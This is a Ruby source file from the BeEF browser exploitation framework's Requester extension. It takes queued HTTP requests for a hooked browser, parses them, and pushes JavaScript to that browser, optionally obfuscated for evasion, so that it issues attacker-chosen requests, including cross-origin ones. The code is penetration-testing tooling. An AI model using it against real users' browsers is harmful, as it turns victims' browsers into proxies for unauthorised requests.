module BeEF
module Extension
module Requester
module API
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
def requester_run(hb, body)
@body = body
output = []
print_debug hb.to_json
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
output << requester_parse_db_request(h)
end
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file \'doc/COPYING\' for copying permission
//', '')
add_to_body output
if config.get('beef.extension.evasion.enable')
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
ws.send(content + @body, hb.session)
end
else
build_missing_beefjs_components 'beef.net.requester'
add_to_body output
end
end
def add_to_body(output)
config = BeEF::Core::Configuration.instance
req = %{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else
@body << req
end
end
def requester_parse_db_request(http_db_object)
allow_cross_origin = http_db_object.allow_cross_origin.to_s
verb = http_db_object.method.upcase
proto = http_db_object.proto.downcase
uri = http_db_object.request.split(/\s+/)[1]
headers = {}
req_parts = http_db_object.request.split(/\r?\n/)
@host = http_db_object.domain
@port = http_db_object.port
print_debug 'http_db_object:'
print_debug http_db_object.to_json
req_parts.each_with_index do |value, index|
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
@post_data_index = index if value.eql?('') || value.strip.empty?
end
req_parts.each_with_index do |value, index|
if verb.eql?('POST')
if index.positive? && (index < @post_data_index)
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
elsif index.positive?
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
end
if @port.nil?
@port = if uri.to_s =~ /^https?/
uri.match(/^https:/) ? 443 : 80
else
proto.eql?('https') ? 443 : 80
end
end
http_request_object = {
'id' => http_db_object.id,
'method' => verb,
'proto' => proto,
'host' => @host,
'port' => @port,
'uri' => uri,
'headers' => headers,
'allowCrossOrigin' => allow_cross_origin
}
if !@content_length.nil? && @content_length.positive?
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
@post_data = post_data_sliced.join
http_request_object['data'] = @post_data
end
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
print_debug 'result http_request_object'
print_debug http_request_object.to_json
http_request_object
end
end
end
end
end
end